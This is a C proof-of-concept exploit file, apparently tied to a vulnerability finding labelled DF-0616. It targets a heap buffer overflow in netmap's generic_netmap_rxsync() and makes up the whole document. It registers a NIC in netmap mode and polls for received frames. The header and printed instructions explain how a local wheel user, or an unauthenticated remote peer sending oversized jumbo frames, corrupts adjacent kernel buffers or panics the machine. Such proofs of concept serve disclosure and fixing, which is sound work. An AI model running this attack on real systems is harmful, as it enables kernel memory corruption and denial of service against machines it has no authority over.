DF-0616 / poc_rxsync_overflow.c
/* DF-0616 PoC: poc_rxsync_overflow.c * Triggers heap buffer overflow in generic_netmap_rxsync() by registering * a NIC in netmap mode and receiving a frame larger than NETMAP_BUF_SIZE * (2048). m_copydata writes len bytes (= m_pkthdr.len, network-controlled) * into a 2048-byte netmap buffer with no bounds check. * * Build: cc -O2 -o poc_rxsync_overflow poc_rxsync_overflow.c * * Remote trigger: on a host that ALREADY has a NIC in netmap mode, an * unauthenticated remote peer sends a jumbo frame (>2048 bytes) — the * overflow fires on the next NIOCRXSYNC. * * Local trigger: any wheel member opens /dev/netmap (0660 root:wheel), * NIOCREGIFs a NIC, then causes an oversized frame to be received. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/ioctl.h> #include <sys/mman.h> #include <net/if.h> #include <net/netmap/netmap.h> int main(int argc, char **argv) { const char *ifname = argc > 1 ? argv[1] : "em0"; int fd = open("/dev/netmap", O_RDWR); if (fd < 0) { perror("open /dev/netmap"); return 1; } struct nmreq req; memset(&req, 0, sizeof(req)); strncpy(req.nr_name, ifname, sizeof(req.nr_name)); req.nr_version = NETMAP_API; req.nr_ringid = 0; if (ioctl(fd, NIOCREGIF, &req) < 0) { perror("NIOCREGIF"); return 2; } /* Map the shared region. */ void *mem = mmap(NULL, req.nr_memsize, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); if (mem == MAP_FAILED) { perror("mmap"); return 3; } printf("[*] Registered %s in netmap mode, memsize=%u\n", ifname, req.nr_memsize); printf("[*] Now send a jumbo frame to this NIC (e.g. from a remote " "host):\n"); printf(" ping -s 8972 <this-host> (with MTU 9000)\n"); printf(" or rely on LRO aggregation on TCP traffic.\n"); printf("[*] Polling for RX (overflow fires on oversized frame)...\n"); /* Poll for RX. On an oversized frame, m_copydata overflows the * 2048-byte netmap buffer, corrupting adjacent pool buffers. */ for (;;) { if (ioctl(fd, NIOCRXSYNC, NULL) < 0) { perror("NIOCRXSYNC"); } /* Inspect adjacent netmap slots' contents for heap-pool corruption * or wait for the kernel to panic. */ usleep(1000); } return 0; } |